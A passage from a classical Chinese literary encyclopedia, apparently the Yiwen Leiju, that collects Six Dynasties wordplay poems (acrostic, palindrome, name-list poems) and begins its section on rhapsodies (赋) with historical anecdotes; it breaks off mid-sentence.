朋 友 足 谐 晤 . 又 此 盛 诗 骚 . 朗 月 同 携 手 . 良 景 共 含 毫 . 栾 巴 有 妙 术 . 言 是 神 仙 曹 . 百 年 肆 偃 仰 . 一 理 讵 相 劳 . 闲 居 有 乐 .\n晋 潘 岳 离 合 诗 曰 . 佃 渔 始 化 . 人 民 穴 处 . 意 守 醇 朴 . 音 应 律 吕 . 桑 梓 被 源 . 卉 木 在 野 . 锡 鸾 未 设 . 金 石 拂 举 . 害 咎 蠲 消 . 吉 德 流 普 . 溪 谷 可 安 . 奚 作 栋 宇 . 嫣 然 以 喜 . 焉 惧 外 侮 . 熙 神 委 命 . 已 求 多 祜 . 叹 彼 季 末 . 口 出 择 语 . 谁 能 墨 诚 . 言 丧 厥 所 . 垄 亩 之 谚 . 龙 潜 岩 阻 . 渺 义 崇 乱 . 少 长 失 叙 . 思 杨 容 姬 难 堪 .\n宋 何 长 瑜 离 合 诗 曰 . 宜 然 悦 今 会 . 且 怨 明 晨 别 . 肴 蔌 不 能 甘 . 有 难 不 可 雪 .\n宋 孝 武 离 合 诗 曰 . 霏 云 起 兮 泛 滥 . 雨 霭 昏 而 不 消 . 意 气 悄 以 无 乐 . 音 尘 寂 而 莫 交 . 守 边 境 以 临 敌 . 寸 心 厉 于 戎 昭 . 阁 盈 图 记 . 门 满 宾 僚 . 仲 秋 始 戒 . 中 园 初 凋 . 池 育 秋 莲 . 水 灭 寒 漂 . 旨 归 涂 以 易 感 . 日 月 逝 而 难 要 . 分 中 心 而 谁 寄 . 人 怀 念 而 必 谣 . 悲 客 他 方 .\n宋 谢 惠 连 离 合 诗 曰 . 放 桌 遵 遥 涂 . 方 与 情 人 别 . 啸 歌 亦 何 言 . 肃 尔 凌 霜 节 . 谷 .\n又 曰 . 夫 人 皆 薄 离 . 二 友 独 怀 古 . 思 笃 子 衿 诗 . 山 川 何 足 苦 . 念 . 又 夜 集 作 离 合 诗 曰 . 四 坐 宴 嘉 宾 . 一 客 自 远 臻 . 九 言 何 所 戒 . 十 善 故 宜 遵 . 此 .\n宋 谢 灵 运 作 离 合 诗 曰 . 古 人 怨 信 次 . 十 日 眇 未 央 . 加 我 怀 缱 绻 . 口 咏 情 亦 伤 . 剧 哉 归 游 客 . 处 子 勿 相 忘 . 别 .\n宋 贺 道 庆 离 合 诗 曰 . 促 席 宴 闲 夜 . 足 欢 不 觉 疲 . 咏 歌 无 余 愿 . 永 言 终 在 斯 . 信 .\n齐 石 道 慧 离 合 诗 曰 . 好 仇 华 良 夜 . 子 欢 我 亦 欣 . 昊 穹 出 明 月 . 一 坐 感 良 晨 . 娱 .\n齐 王 融 离 合 诗 曰 . 冰 容 惭 远 鉴 . 水 质 谢 明 晖 . 是 照 相 思 夕 . 早 望 行 人 归 . 火 .\n又 回 文 诗 曰 . 枝 大 柳 塞 北 . 叶 暗 榆 关 东 . 垂 条 逐 絮 转 . 落 橤 散 花 丛 . 池 莲 照 晓 月 . 幔 锦 拂 朝 风 . 晓 吹 纶 杂 羽 . 薄 粉 艳 妆 红 . 离 情 隔 远 道 . 叹 结 深 闺 中 .\n又 后 园 作 回 文 诗 曰 . 斜 峰 绕 径 曲 . 耸 石 带 山 连 . 花 余 拂 戏 鸟 树 密 隐 鸣 蝉 .\n梁 简 文 帝 和 湘 东 王 后 园 回 文 诗 曰 . 枝 云 间 石 峰 . 脉 水 侵 山 岸 . 池 清 戏 鹄 聚 . 树 秋 飞 叶 散 .\n梁 劭 陵 王 萧 纶 回 文 诗 曰 . 烛 华 临 静 夜 . 香 气 入 重 帷 . 曲 度 闻 歌 远 . 繁 弦 觉 舞 迟 .\n周 庾 信 和 回 文 诗 曰 . 旱 莲 生 竭 镬 . 嫩 菊 养 秋 邻 . 满 池 留 浴 鸟 . 分 桥 上 戏 人 .\n梁 定 襄 侯 和 回 文 诗 曰 . 危 台 出 岫 回 . 曲 上 桥 斜 . 池 莲 隐 弱 芰 . 径 篠 落 藤 花 .\n宋 鲍 昭 建 除 诗 曰 . 建 旗 出 炖 煌 . 西 讨 属 国 羌 . 除 去 徒 舆 骑 . 战 车 罗 万 箱 . 满 山 又 填 谷 . 投 鞍 合 营 墙 . 平 原 亘 千 里 . 旌 鼓 转 相 望 . 定 舍 后 未 休 . 候 骑 前 装 . 执 戈 无 暂 顿 . 弯 弧 不 解 张 . 破 灭 西 零 国 . 生 虏 郅 支 王 . 危 乱 悉 平 荡 . 万 里 置 关 梁 . 成 车 入 王 门 . 女 献 玉 壶 浆 . 收 功 在 一 时 . 历 世 荷 余 光 . 开 壤 袭 朱 绂 . 左 右 佩 金 章 . ● 帷 草 太 玄 . 兹 事 殆 愚 狂 .\n梁 宣 帝 建 除 诗 曰 . 建 国 惟 神 业 . 十 世 本 灵 长 . 除 奇 逾 汉 祖 . 徯 后 类 殷 汤 . 满 盈 既 亏 度 . 否 运 理 还 康 . 平 阶 今 复 睹 . 德 星 行 见 祥 . 定 寇 资 雄 略 . 静 乱 属 贤 良 . 执 讯 穷 郢 鲁 . 吊 伐 遍 徐 杨 . 破 敌 勋 佣 盛 . 佩 紫 且 怀 黄 . 危 苗 既 已 窜 . 妖 沴 亦 云 亡 . 成 功 勒 云 社 . 治 定 礼 要 荒 . 收 戟 归 农 器 . 牧 马 恣 刍 场 . 开 山 接 梯 路 . 架 海 拟 山 梁 . ● 欲 同 彭 老 . 延 寿 等 东 皇 .\n梁 范 云 建 除 诗 曰 . 建 国 负 东 海 . 衣 冠 成 营 丘 . 除 道 梁 淄 水 . 结 驷 登 之 罘 . 满 座 咸 嘉 友 . 苹 藻 绝 时 羞 . 平 望 极 聊 摄 . 直 视 尽 姑 尤 . 定 交 无 恒 所 . 同 志 互 相 求 . 执 手 欢 高 宴 . 举 白 穷 献 酬 . 破 琴 岂 重 赏 . 临 豪 宁 再 俦 . 危 生 一 朝 露 . 蝼 蚁 将 见 谋 . 成 功 退 不 处 . 为 名 自 此 收 . 收 名 弃 车 马 . 单 步 反 蜗 牛 . 开 渠 纳 秋 水 . 相 土 播 春 畴 . ● 门 谢 世 人 . 何 欲 复 何 求 .\n陈 沈 炯 建 除 诗 曰 . 建 章 连 凤 阙 . 蔼 蔼 入 云 烟 . 除 庭 发 槐 柳 . 冠 剑 似 神 仙 . 满 衢 飞 玉 轪 . 夹 道 跃 金 鞭 . 平 明 尘 雾 合 . 薄 暮 风 云 褰 . 定 交 大 学 里 . 射 策 云 台 边 . 执 事 一 朝 谬 . 朝 市 忽 崩 迁 . 破 家 徒 徇 国 . 力 弱 不 扶 颠 . 危 机 空 履 虎 . 击 恶 岂 如 鹯 . 成 师 凿 门 去 . 败 绩 裹 尸 旋 . 收 魂 不 入 斗 . 抱 景 问 穹 玄 . 开 颜 何 所 说 . 空 忆 平 生 前 . 闭 门 穷 巷 里 . 静 扫 咏 归 田 .\n又 六 甲 诗 曰 . 甲 拆 开 众 果 . 万 物 具 敷 荣 . 乙 飞 上 危 幕 . 雀 乳 出 空 城 . 丁 翼 陈 诗 罢 . 公 绥 作 赋 成 . 戊 巢 花 已 秀 . 满 塘 草 自 生 . 已 乃 忘 怀 客 . 荣 乐 尚 开 情 . 庚 庚 闻 鸟 啭 . 肃 肃 望 凫 征 . 辛 酸 多 悯 测 . 寂 寞 少 逢 迎 . 壬 蒸 怀 太 古 . 覆 妙 伫 无 名 . 癸 巳 空 施 位 . 讵 以 召 幽 贞 .\n又 十 二 属 诗 曰 . 鼠 迹 生 尘 案 . 牛 羊 暮 下 来 . 虎 啸 坐 空 谷 . 兔 月 向 窗 开 . 龙 隰 远 青 翠 . 蛇 柳 近 徘 徊 . 马 兰 方 远 摘 . 羊 负 始 春 栽 . 猴 栗 羞 芳 果 . 鸡 砧 引 清 杯 . 狗 其 怀 物 外 . 猪 蠡 窅 悠 哉 .\n又 六 府 诗 曰 . 水 广 南 山 暗 . 杖 策 出 蓬 门 . 火 炬 村 前 发 . 林 烟 树 下 昏 . 金 花 散 黄 橤 . 蕙 草 杂 芳 荪 . 木 兰 露 渐 落 . 山 芝 风 屡 翻 . 土 高 行 已 冒 . 抱 瓮 忆 中 园 . 谷 城 定 若 近 . 当 终 黄 石 言 .\n陈 孔 鱼 和 六 府 诗 曰 . 金 门 朱 轨 躅 . 吾 子 盛 簪 裾 . 木 舌 无 时 用 . 蓱 流 复 在 余 . 水 乡 访 松 石 . 兰 泽 侣 樵 渔 . 火 洲 方 可 至 . 地 肺 即 为 居 . 土 牛 自 知 止 . 贞 心 达 毁 誉 . 谷 稼 有 时 隙 . 乘 植 望 白 榆 .\n古 两 头 纤 纤 诗 曰 . 两 头 纤 纤 月 初 生 . 半 白 半 黑 眼 中 精 . 腷 腷 膊 膊 鸡 初 鸣 . 磊 磊 落 落 向 曙 星 .\n齐 王 融 代 两 头 纤 纤 诗 曰 . 两 头 纤 纤 绮 上 文 . 半 白 半 黑 燕 翔 群 . 腷 腷 膊 膊 鸟 迷 昏 . 磊 磊 落 落 玉 石 分 .\n砧 诗 曰 . 砧 今 何 在 . 山 上 复 有 山 . 何 当 大 刀 头 . 破 镜 飞 上 天 .\n齐 王 融 代 砧 诗 曰 . 花 蒂 今 何 在 . 不 是 林 下 生 . 何 当 垂 两 髻 . 团 扇 云 间 明 .\n又 曰 . 镜 台 今 何 在 . 寸 身 正 相 随 . 何 当 碎 联 玉 . 云 上 璧 已 亏 .\n古 五 杂 组 诗 曰 . 五 杂 组 . 冈 头 草 . 往 复 还 . 车 马 道 . 不 获 已 . 人 将 老 .\n齐 王 融 代 五 杂 组 诗 曰 . 五 杂 组 . 庆 云 发 . 往 复 还 . 经 天 月 . 不 获 已 . 生 胡 越 .\n梁 范 云 拟 古 五 杂 组 诗 曰 . 五 杂 组 . 会 涂 山 . 往 复 还 . 两 崤 关 . 不 得 已 . 孀 与 鳏 .\n宋 王 微 四 气 诗 曰 . 蘅 若 首 春 华 . 梧 楸 当 夏 翳 . 鸣 笙 起 秋 风 . 置 酒 飞 冬 雪 . 齐 王 融 四 色 诗 曰 . 赤 如 城 霞 起 . 青 如 松 雾 澈 . 黑 如 幽 都 云 . 白 如 瑶 池 雪 .\n梁 范 云 四 色 诗 曰 . 折 柳 青 门 外 . 握 兰 翠 疏 中 . 绿 苹 骋 春 日 . 碧 渚 澹 时 风 .\n又 曰 . 差 池 朱 鷰 去 . 缤 翻 赤 雁 归 . 瀺 灂 丹 鱼 聚 . 联 翩 血 鸟 飞 .\n又 曰 . 素 鳞 飏 北 渚 . 白 水 杜 南 宛 . 献 环 润 玉 塞 . 归 珠 照 琼 辕 .\n又 曰 . 乌 林 叶 将 霣 . 墨 池 水 就 干 . 玄 豹 藏 暮 雨 . 黑 豹 凌 夜 寒 .\n又 拟 古 四 色 诗 曰 . 丹 如 桓 公 庙 . 青 如 夕 郎 门 . 黑 如 南 岩 ● . 白 如 来 山 猿 .\n宋 鲍 昭 谜 字 诗 曰 . 二 形 一 体 . 四 支 八 头 . 四 八 一 八 . 飞 泉 仰 流 . 井 . 头 如 刀 . 尾 如 钩 . 中 央 横 广 . 四 角 六 抽 . 右 面 负 两 刃 . 左 边 双 属 牛 . 龟 . 干 之 一 九 . 从 立 无 偶 . 川 之 二 六 . 宛 然 双 宿 . 土 .\n宋 谢 庄 自 寻 阳 至 都 集 道 里 名 为 诗 曰 . 山 经 函 旋 览 . 水 牒 倦 敷 寻 . 稽 榭 诚 淹 流 . 烟 台 信 遐 临 . 翔 州 凝 寒 气 . 秋 浦 结 清 阴 . 眇 眇 高 湖 旷 . 遥 遥 南 陵 深 . 青 溪 如 委 黛 . 黄 沙 似 舒 金 . 观 道 雷 池 侧 . 访 德 茅 堂 阴 . 鲁 显 阙 微 迹 . 秦 良 灭 芳 音 . 讯 远 博 望 崖 . 采 赋 梁 山 岑 . 崇 馆 非 陈 宇 . 茂 苑 岂 旧 林 .\n宋 鲍 昭 数 名 诗 曰 . 一 身 仕 关 西 . 家 族 满 山 东 . 二 年 从 车 驾 . 斋 祭 甘 泉 宫 . 三 朝 国 庆 毕 . 休 沐 还 旧 邦 . 四 牡 曜 长 路 . 轻 盖 若 飞 鸿 . 五 侯 相 饯 送 . 高 会 集 新 丰 . 六 乐 陈 广 坐 . 组 帐 扬 春 风 . 七 盘 起 长 袖 . 庭 下 列 歌 钟 . 八 珍 盈 雕 俎 . 绮 肴 纷 错 重 . 九 族 咸 瞻 迟 . 宾 友 仰 徽 容 . 十 载 学 无 就 . 善 官 一 朝 通 .\n齐 虞 羲 数 名 诗 曰 . 一 去 濠 水 阳 . 连 翩 远 为 客 . 二 毛 飒 已 垂 . 家 贫 无 所 择 . 三 径 日 荒 疏 . 徭 人 心 不 怿 . 四 豪 不 降 意 . 何 事 黄 金 百 . 五 日 来 归 者 . 朱 轮 竟 长 陌 . 六 郡 轻 薄 儿 . 追 随 穷 日 夕 . 七 发 动 音 容 . 宾 从 纷 弈 弈 . 八 表 服 英 严 . 光 光 满 坟 籍 . 九 流 意 何 以 . 守 玄 遂 成 白 . 十 载 职 不 移 . 来 归 落 松 柏 .\n梁 范 云 数 名 诗 曰 . 一 鼓 有 余 气 . 趫 勇 正 纷 纭 . 二 广 无 遗 略 . 雄 虎 自 为 群 . 三 河 尚 扰 攘 . 循 橹 起 橨 . 四 巡 驻 青 跸 . 瘗 玉 旷 亭 云 . 五 十 又 舒 旆 . 旗 帜 日 缤 纷 . 六 郡 良 家 子 . 慕 义 轻 从 军 . 七 获 美 前 载 . 克 俊 嘉 昔 闻 . 八 音 伫 繁 律 . 将 以 安 司 勋 . 九 命 既 斯 复 . 金 壁 固 宜 分 . 十 难 康 有 道 . 延 首 望 卿 云 .\n齐 王 融 奉 和 竟 陵 王 郡 县 名 诗 曰 . 追 芳 承 荔 浦 . 揖 道 讯 虚 丘 . 升 裾 临 广 牧 . 从 望 尽 平 洲 . 曾 山 陵 翠 阪 . 方 渠 缅 清 流 . 阳 台 翻 早 茂 . 阴 馆 怀 名 秋 . 岁 晏 东 光 弭 . 景 仄 西 华 收 . 端 溪 惭 昔 彦 . 测 水 谢 前 脩 . 往 食 曲 阜 盛 . 今 属 平 台 游 . 燕 棠 缺 初 雅 . 郑 衮 息 遗 讴 . 久 倾 信 都 美 . 乃 结 茂 陵 俦 . 河 间 诚 可 咏 . 南 海 果 难 游 .\n梁 范 云 奉 和 齐 竟 陵 王 郡 县 名 诗 曰 . 抚 戈 金 城 外 . 解 佩 玉 门 中 . 白 马 腾 远 雪 . 苍 松 壮 寒 风 . 临 泾 方 辩 渭 . 安 夷 始 和 戎 . 取 禾 广 田 北 . 驱 兽 飞 狐 东 . 新 城 多 雉 堞 . 故 市 绝 商 工 . 海 西 舟 楫 断 . 云 南 烟 雾 通 . 罄 节 畴 盛 德 . 宣 力 照 武 功 . 还 饮 渔 阳 水 . 归 转 杜 陵 蓬 .\n梁 沈 约 奉 和 竟 陵 王 郡 县 名 诗 曰 . 西 都 富 轩 冕 . 南 宫 溢 才 彦 . 高 阙 连 朱 雉 . 方 渠 渐 游 殿 . 广 川 肆 河 济 . 长 岑 绕 崤 汧 . 曲 梁 济 危 渚 . 平 皋 骋 悠 眄 . 青 渊 皎 澄 澈 . 曾 山 郁 葱 蒨 . 阳 泉 濯 春 藻 . 阴 丘 聚 寒 霰 . 西 华 不 可 留 . 东 光 促 奔 箭 . 望 都 游 子 怀 . 临 戎 征 马 倦 . 既 豫 平 台 集 . 复 齿 南 皮 宴 . 一 窥 长 安 城 . 羞 言 杜 陵 掾 .\n梁 元 帝 县 名 诗 曰 . 长 陵 新 市 北 . 郑 卫 好 容 仪 . 先 过 上 兰 苑 . 还 牵 高 柳 枝 . 薄 妆 宜 入 镜 . 舒 花 堪 照 池 . 蒲 洲 涵 水 色 . 椒 壁 杂 风 吹 . 此 时 方 夜 饮 . 平 台 传 羽 卮 .\n梁 范 云 州 名 诗 曰 . 司 春 命 初 铎 . 青 耦 肆 中 樊 . 逸 豫 诚 何 事 . 稻 粱 复 宜 敦 . 徐 步 遵 广 隰 . 冀 以 写 忧 源 . 杨 柳 垂 场 圃 . 荆 棘 生 庭 门 . 交 情 久 所 见 . 益 友 能 孰 存 .\n梁 简 文 帝 卦 名 诗 曰 . 栉 比 园 花 满 . 径 复 水 流 新 . 离 禽 时 入 袖 . 旅 俗 乍 依 苹 . 丰 壶 要 上 客 . 鹄 鼎 命 嘉 宾 . 车 由 泰 夏 闼 . 马 散 咸 阳 尘 . 莲 舟 虽 未 济 . 分 密 已 同 人 .\n梁 简 文 帝 药 名 诗 曰 . 朝 风 动 春 草 . 落 日 照 横 塘 . 重 台 荡 子 妾 . 黄 昏 独 自 伤 . 烛 映 合 欢 被 . 帷 飘 苏 合 香 . 石 墨 聊 书 赋 . 铅 华 试 作 妆 . 徒 令 惜 萱 草 . 蔓 延 满 空 房 .\n梁 元 帝 药 名 诗 曰 . 戍 客 恒 山 下 . 常 思 衣 锦 归 . 况 看 春 草 歇 . 还 见 雁 南 飞 . 烛 凝 花 影 . 重 台 ● 绮 扉 . 风 吹 竹 叶 袖 . 网 缀 流 黄 机 . 讵 信 金 城 里 . 繁 露 晓 沾 衣 .\n梁 庾 肩 吾 奉 和 药 名 诗 曰 . 英 王 牧 荆 楚 . 听 讼 出 池 台 . 督 邮 称 蝗 去 . 亭 长 说 乌 来 . 行 塘 朱 鹭 响 . 当 道 赤 帷 开 . 马 鞭 聊 写 赋 . 竹 叶 暂 倾 杯 .\n梁 沈 约 奉 和 齐 竟 陵 王 药 名 诗 曰 . 丹 草 秀 朱 翘 . 重 台 架 危 屺 . 木 兰 露 易 饮 . 射 干 枝 可 结 . 阳 隰 采 新 夷 . 寒 山 望 积 雪 . 玉 泉 亟 周 流 . 云 华 乍 明 灭 . 合 欢 叶 暮 卷 . 爵 林 声 夜 切 . 垂 景 迫 连 桑 . 思 仙 慕 云 埒 . 荆 实 部 丹 瓶 . 龙 刍 汗 奔 血 . 照 握 乃 夜 光 . 盈 车 非 玉 屑 . 细 柳 空 葳 蕤 . 水 萍 终 萎 绝 . 黄 符 若 可 挹 . 长 生 永 昭 晢 .\n梁 元 帝 姓 名 诗 曰 . 征 人 习 水 战 . 辛 苦 配 戈 船 . 夜 城 随 偃 月 . 朝 军 逐 避 年 . 龙 吟 澈 水 度 . 虹 光 入 夜 圆 . 涛 来 如 阵 起 . 星 上 似 烽 燃 . 经 时 事 南 越 . 还 复 讨 朝 鲜 .\n梁 沈 约 和 陆 慧 晓 百 姓 名 诗 曰 . 建 都 望 淮 海 . 树 阙 表 衡 稽 . 井 干 风 云 出 . 柏 梁 星 汉 齐 . 皇 王 临 万 宇 . 惠 化 覃 黔 黎 . 吉 士 服 仁 义 . 宿 昔 秉 华 圭 . 庸 贤 起 幽 谷 . 钦 言 非 象 犀 . 端 委 康 国 步 . 偃 息 召 邦 携 . 举 政 方 分 策 . 易 纪 粲 金 泥 . 伊 余 沐 嘉 幸 . 由 是 别 园 畦 . 曾 微 涓 露 答 . 光 景 遂 云 西 . 方 随 炼 丹 子 . 薄 暮 矫 行 迷 .\n梁 元 帝 相 名 诗 曰 . 仙 人 卖 玉 杖 . 乘 鹿 去 山 林 . 浮 杯 度 池 曲 . 摩 镜 往 河 阴 . 井 内 书 铜 板 . 灶 里 化 黄 金 . 妻 摇 五 明 扇 . 妾 弄 一 弦 琴 . 暂 游 忽 千 里 . 中 天 那 可 寻 .\n梁 元 帝 鸟 名 诗 曰 . 方 舟 去 鳷 鹊 . 鹄 引 欲 相 要 . 晨 凫 移 去 舸 . 飞 鷰 动 归 桡 . 鸡 人 怜 夜 刻 . 凤 女 念 吹 箫 . 雀 钗 照 轻 幌 . 翠 的 绕 纤 腰 . 复 闻 朱 鹭 曲 . 钲 管 杂 回 潮\n梁 元 帝 兽 名 诗 曰 . 豹 韬 求 秘 术 . 虎 略 选 良 臣 . 水 涉 黄 牛 浦 . 山 过 白 马 津 . 推 锋 上 狐 塞 . 画 像 入 麒 麟 . 果 下 新 花 落 . 桃 枝 芳 树 春 . 王 孙 及 公 子 . 熊 席 复 横 陈 .\n梁 元 帝 歌 曲 名 诗 曰 . 啼 乌 怨 别 鹤 . 曙 鸟 忆 离 家 . 石 阙 题 书 字 . 金 镫 飘 落 花 . 东 方 晓 星 度 . 西 山 晚 日 斜 . 縠 衫 回 广 袖 . 团 扇 掩 轻 纱 . 暂 借 青 骢 马 . 来 送 黄 牛 车 .\n梁 元 帝 龟 兆 名 诗 曰 . 土 膏 春 气 生 . 倡 女 协 春 情 . 鱼 游 连 北 水 . 鹄 作 辽 东 鸣 . 折 梅 还 插 鬓 . 荡 柱 更 移 声 . 银 烛 含 朱 火 . 金 鑪 对 宝 笙 . 百 枝 凝 夕 焰 . 却 月 隐 高 城 .\n梁 元 帝 斜 名 诗 曰 . 金 推 五 百 里 . 日 晚 唱 归 来 . 车 转 承 光 殿 . 步 上 通 天 台 . 钗 临 曲 池 影 . 扇 拂 玉 堂 梅 . 先 取 中 庭 入 . 罢 逐 步 廊 回 . 下 关 那 早 ● . 人 迎 已 复 开 .\n梁 元 帝 将 军 名 诗 曰 . 虎 旅 皆 成 阵 . 龙 骑 尽 能 ● . 鸣 鞭 俱 破 虏 . 决 胜 往 长 榆 . 细 柳 浮 轻 暗 . 大 树 绕 栖 乌 . 楼 船 写 退 鹢 . 樯 鸟 狎 飞 凫 . 度 河 还 自 许 . 偏 与 功 名 俱 .\n梁 元 帝 宫 殿 名 诗 曰 . 杏 ○ 原 作 杯 . 据 冯 校 本 改 . 闲 花 欲 燃 . 竹 径 露 初 圆 . 斗 鸡 东 道 上 . 走 马 北 场 边 . 合 欢 依 暝 巷 . 蒲 萄 向 日 鲜 . 旗 亭 觅 张 放 . 香 车 迎 董 贤 . 定 隔 天 渊 水 . 相 思 夜 不 眠 .\n梁 元 帝 屋 名 诗 曰 . 梁 园 气 色 和 . 斗 酒 共 相 过 . 玉 柱 调 新 曲 . 画 扇 掩 余 歌 . 深 潭 影 菱 菜 . 绝 壁 挂 轻 萝 . 木 莲 恨 花 晚 . 蔷 薇 嫌 刺 多 . 含 情 戏 芳 节 . 徐 步 待 金 波 .\n梁 元 帝 车 名 诗 曰 . 长 墟 带 江 转 . 连 甍 映 日 分 . 佳 人 坐 椒 屋 . 接 膝 对 兰 薰 . 绕 砌 萦 流 水 . 边 梁 图 画 云 . 锦 色 悬 殊 众 . 衣 香 遥 出 群 . 日 暮 轻 帷 下 . 黄 金 妾 赠 君 .\n梁 元 帝 船 名 诗 曰 . 天 暝 浮 云 飞 . 三 翼 自 相 追 . 池 模 白 鹄 舞 . 檐 知 青 雀 归 . 华 渊 通 转 堑 . 伏 槛 跨 相 矶 . 松 涧 流 星 影 . 桂 窗 斜 月 晖 . 思 君 此 无 极 . 高 楼 泪 染 衣 .\n梁 元 帝 树 名 诗 曰 . 赵 李 竞 追 随 . 轻 杉 露 弱 枝 . 杏 梁 始 东 照 . 柘 火 未 西 驰 . 香 因 玉 钏 动 . 佩 逐 金 衣 移 . 柳 叶 生 眉 上 . 珠 珰 摇 鬓 垂 . 逢 君 桂 枝 马 . 车 下 觅 新 知 .\n梁 元 帝 草 名 诗 曰 . 胡 王 迎 娉 主 . 涂 经 蓟 北 游 . 金 钱 买 含 笑 . 银 釭 影 梳 头 . 初 控 游 龙 马 . 仍 移 卷 柏 舟 . 中 江 离 思 切 . 蓬 鬓 不 堪 秋 . 况 度 蒲 昌 海 . 落 月 似 悬 钩 .\n陈 沈 炯 八 音 诗 曰 . 金 屋 贮 阿 娇 . 楼 阁 起 迢 迢 . 石 头 足 年 少 . 大 道 跨 河 桥 . 丝 桐 无 缓 节 . 罗 绮 自 飘 飘 . 竹 烟 生 薄 晚 . 花 色 乱 春 朝 . 匏 瓜 讵 无 匹 . 神 女 嫁 苏 韶 . 土 地 多 妍 冶 . 乡 里 足 尘 嚣 . 革 年 未 相 识 . 声 论 动 风 飙 . 木 桃 堪 底 用 . 寄 以 答 琼 瑶 .\n又 和 蔡 黄 门 口 字 咏 绝 句 曰 . 嚣 嚣 宫 阁 路 . 灵 灵 谷 口 闾\n. 谁 知 名 器 品 . 语 哩 各 崎 岖 .\n释 名 曰 . 赋 . 敷 也 . 敷 布 其 义 . 谓 之 赋 也 .\n汉 书 曰 . 不 歌 而 诵 谓 之 赋 . 登 高 能 赋 . 可 以 为 大 夫 . 言 感 物 造 端 . 材 智 深 美 . 可 以 与 图 政 事 . 故 可 以 为 列 大 夫 也 . 春 秋 之 后 . 周 道 浸 坏 . 聘 问 歌 咏 . 不 行 于 列 国 . 而 贤 人 失 志 之 赋 作 矣 . 孙 卿 及 楚 臣 屈 原 . 离 谗 忧 国 . 皆 作 赋 以 风 谕 . 成 ○ 太 平 御 览 五 百 八 十 七 作 咸 . 有 则 ○ 御 览 作 恻 . 隐 古 训 之 义 . 其 后 宋 玉 唐 勒 . 汉 兴 . 枚 乘 司 马 相 如 . 下 及 杨 子 云 . 竞 为 侈 丽 闳 广 之 语 . 设 其 讽 谕 之 义 . 是 以 杨 子 称 之 曰 . 诗 人 之 赋 丽 以 则 . 辞 人 之 赋 丽 以 淫 . 如 孔 氏 之 门 用 赋 也 . 则 贾 谊 登 堂 . 相 如 入 室 矣 .\n又 曰 . 上 令 王 褒 与 张 子 侨 等 并 待 诏 . 数 从 游 猎 . 所 幸 宫 馆 . 辄 为 歌 颂 . 第 其 高 下 . 以 差 赐 帛 . 议 者 多 以 为 淫 靡 不 急 . 上 曰 . 不 有 博 弈 者 乎 . 为 之 犹 贤 乎 已 . 辞 大 者 与 古 诗 同 义 . 小 者 辨 丽 可 嘉 . 譬 如 女 工 有 绮 縠 . 音 乐 有 郑 卫 . 今 世 俗 犹 皆 以 此 娱 悦 耳 目 . 辞 赋 比 娱 耳 悦 目 . 有 仁 义 风 谕 鸟 兽 草 木 多 闻 之 观 . 贤 于 倡 优 博 弈 远 矣 .\n又 曰 . 枚 皋 上 书 北 阙 . 自 陈 枚 乘 之 子 . 上 得 大 喜 . 召 入 见 . 待 诏 . 皋 因 赋 殿 中 . 诏 使 赋 平 乐 馆 . 善 之 . 拜 为 郎 . 皋 不 通 经 术 . 谈 笑 类 徘 倡 . 为 赋 颂 好 慢 戏 . 以 故 得 渫 渎 贵 幸 . 比 东 方 朔 郭 舍 人 等 . 武 帝 春 秋 三 十 九 . 乃 得 皇 太 子 . 群 臣 喜 . 故 皋 与 东 方 朔 作 皇 太 子 生 赋 . 皋 为 文 疾 . 受 诏 辄 成 . 司 马 相 如 善 为 文 而 迟 . 故 所 作 少 .\n汉 书 曰 . 成 帝 赵 昭 仪 . 方 大 幸 . 每 上 往 甘 泉 宫 . 常 从 在 属 车 闲 豹 尾 中 . 故 杨 雄 盛 言 车 骑 之 众 . 参 丽 之 驾 . 非 所 以 感 动 天 地 . 逆 厘 三 辰 . 又 言 屏 玉 女 . 却 宓 妃 . 以 惩 齐 戒 之 事 . 赋 成 奏 之 . 天 子 异 焉 . 先 是 时 . 蜀 有 司 马 相 如 . 作 赋 甚 弘 丽 温 雅 . 雄 心 壮 之 . 每 作 赋 . 常 拟 以 为 式 .\n东 观 汉 记 曰 . 班 固 . 字 孟 坚 . 九 岁 能 作 赋 颂 . 固 数 入 读 书 禁 中 . 每 行 巡 狩 . 辄 献 赋 颂 .\n桓 子 新 论 曰 . 余 少 时 . 见 杨 子 云 丽 文 高 论 . 不 量 年 少 . 猥 欲 逮 及 . 常 作 小 赋 . 用 精 思 大 剧 . 而 立 感 动 发 病 . 子 云 亦 言 成 帝 上 甘 泉 . 诏 使 作 赋 . 为 之 卒 暴 . 倦 卧 . 梦 其 五 藏 出 地 . 及 觉 大 少 气 . 病 一 岁 . 余 素 好 文 . 见 子 云 工 为 赋 . 欲 从 之 学 . 子 云 曰 . 能 读 千 赋 . 则 善 为 之 矣 .\n祢 衡 别 传 曰 . 黄 射 大 会 宾 客 . 人 有 献 鹦 鹉 者 . 射 举 卮 酒 于 衡 曰 . 愿 先 生 赋 之 . 以 娱 嘉 宾 . 衡 揽 笔 而 作 . 文 不 加 点 . 辞 彩 甚 丽 .\n魏 略 曰 . 十 兰 献 赋 . 赞 述 太 子 德 美 . 太 子 报 曰 . 作 者 不 虚 其 辞 . 受 者 必 当 其 实 . 兰 此 者 . 岂 吾 实 哉 . 昔 吾 丘 寿 王 陈 宝 何 武 等 . 徒 以 歌 颂 . 犹 金 帛 之 赐 . 兰 事 虽 不 谅 . 义 足 嘉 也 . 今 赐 牛 一 头 .\n又 曰 . 邯 郸 淳 作 投 壶 赋 千 余 言 . 奏 之 . 文 帝 以 为 工 . 赐 帛 十 疋 .\n魏 志 曰 . 陈 思 王 曹 植 . 字 子 建 . 善 属 文 . 太 祖 尝 视 其 文 . 谓 植 曰 . 汝 倩 人 耳 . 植 曰 . 言 出 为 论 . 下 笔 成 章 . 愿 当 面 试 . 奈 何 倩 人 . 时 邺 . ○ 原 讹 业 . 据 冯 本 改 . 都 铜 爵 台 新 成 . 太 祖 悉 将 诸 子 登 台 . 使 各 为 赋 . 植 援 笔 立 成 . 太 祖 甚 异 之 .\n王 隐 晋 书 曰 . 张 华 . 字 茂 先 . 阮 籍 见 华 鹪 鹩 赋 . 以 为 王 佐 之 才 . 中 书 郎 成 公 绥 . 亦 推 华 文 义 胜 己 .\n文 士 传 曰 . 何 桢 . 字 元 干 . 青 龙 元 年 . 天 子 特 诏 曰 . 杨 州 别 驾 何 桢 . 有 文 章 才 识 . 使 作 许 都 赋 成 . 封 上 . 不 得 令 人 见 . 桢 遂 造 赋 表 上 .\n又 曰 . 潘 尼 曾 与 同 僚 饮 . 主 人 有 琉 璃 碗 . 客 使 赋 之 . 尼 于 坐 立 成 .\n世 说 曰 . 孙 兴 公 作 天 台 赋 成 . 以 示 范 荣 期 